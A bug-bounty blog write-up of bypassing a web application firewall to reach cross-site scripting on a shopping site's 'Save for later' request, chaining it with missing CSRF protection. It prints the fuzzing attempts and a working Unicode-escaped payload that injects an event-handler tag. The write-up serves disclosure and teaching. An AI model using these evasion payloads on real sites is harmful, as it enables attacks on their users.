Unicode vs WAF — XSS WAF Bypass

Hi readers,
At 1st Eid Mubarak to all. May Allah bring you joy, happiness, peace, and prosperity on this blessed occasion. Wishing you and your family on this happy occasion of Eid! Eid Mubarak! So on this blessed occasion I thought let’s share one of my findings as an Eid bonus 😜 !
From the title, you may come to know this is a write-up about XSS WAF bypass using UNICODE. So let’s give you a small idea about the application I was testing. There was an option called Save for later what saves items in your account for later use. The request looks like this:

Target applications Save for later option request
Target applications Save for later option request

If a user is properly authenticated then this post request will save items in the user’s account for later use and if a user is not properly authenticated then it will just reflect with some values. So I was manually fuzzing around with parameters and noticed channel parameter value is being reflected in response body without proper escaping in both authenticated & unauthenticated scenarios. I send a request with a channel parameter value that looks like "channel":"xss\"><" and the response was:

<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"
                     data-productid="<ID>" data-channel="xss"><" data-quantity="1"
                     data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>

Our inputted value is inside the <a> tag and we can escape out of it as quotes & less-than/greater-than sign is not being filtered properly. So I thought I have a lot of ways to do XSS here until I inputted "channel":"xss\"onclick=\"alert(1)" and the response was:

WAF ! WAF ! WAF !!! 🤕
WAF ! WAF ! WAF !!! 🤕

So there is a WAF in place. To bypass it I started fuzzing and the result was:

"channel":"xss\"onclick=\"alert(1)" ==> WAF
"channel":"xss\"xss=\"alert(1)" ==> WAF
"channel":"xss\"onclick=\"alert(1)" ==> WAF
"channel":"xss\"xss=\"xxx(1)" ==> No WAF

So I tried to create a tag instead of adding event attributes in <a> tag and I inputted "channel":"xss\"><xss>test" and the response was:

<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"
                     data-productid="<ID>" data-channel="xss">test" data-quantity="1"
                     data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>

So it’s also removing what’s context looks like a tag. So we don’t have the advantage of creating a tag. So our only way is using event attributes in <a> tag by bypassing the WAF. So I tried to do a brute-force using html-event-attributes.txt by fuzzdb to see if any event is not being blocked by WAF and got nothing interesting. Then I thought about Unicode and inputted a random Unicode to see if it’s decoding in response or not and bingo it’s decoding Unicode to its original chars. So now I started playing with unicode+events again and the result was:

"channel":"xss\"\u003E\u003Cxss\u003Etest" ==> data-channel="xss"><xss>test"
"channel":"xss\"xss=\"co\u006efirm(domain)" ==> No WAF
"channel":"xss\"onc\u006Cick=\"co\u006efirm(domain)" ==> HTTP/1.1 403 Forbidden

So we got a new advantage and also a new problem here.

  • The advantage is we can now create HTML tags using Unicode.
  • The disadvantage is even after using Unicode we are getting a new error HTTP/1.1 403 Forbidden when we add an event onc\u006Cick.

So again I made a wordlist from html-event-attributes.txt + Unicode and I got onmous\u0045leave & ond\u0072ag events giving HTTP/1.1 200 OK and also we can create HTML tags . So I made my final payload

xss\"\u003E\u003Ch1  onmous\u0045leave=co\u006efirm(domain)\u003ECome to Me\u003C/h1\u003E\u003Cbr\u003E\u003C!--

And response body was:

<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"
                     data-productid="<ID>" data-channel="xss"><h1  onmouseleave=confirm(domain)>come to me</h1><br><!--" data-quantity="1"
                     data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>
POST based XSS For unauthenticated users
POST based XSS For unauthenticated users

Take mouse pointer in come to me and leave it & boom 😎🤗
Now as this is a POST Request and there is no CSRF protection In a place so I chained CSRF + XSS = P2 Stored XSS for authenticated users 😎

CSRF + XSS = P2 Stored XSS for authenticated users 😎
CSRF + XSS = P2 Stored XSS for authenticated users 😎

Thanks for reading. Take a look at my YouTube channel for some POC I shared.

Cheers 😋😉

Leave a Reply

Your email address will not be published. Required fields are marked *

RECENT TWEETS

RECENT POSTS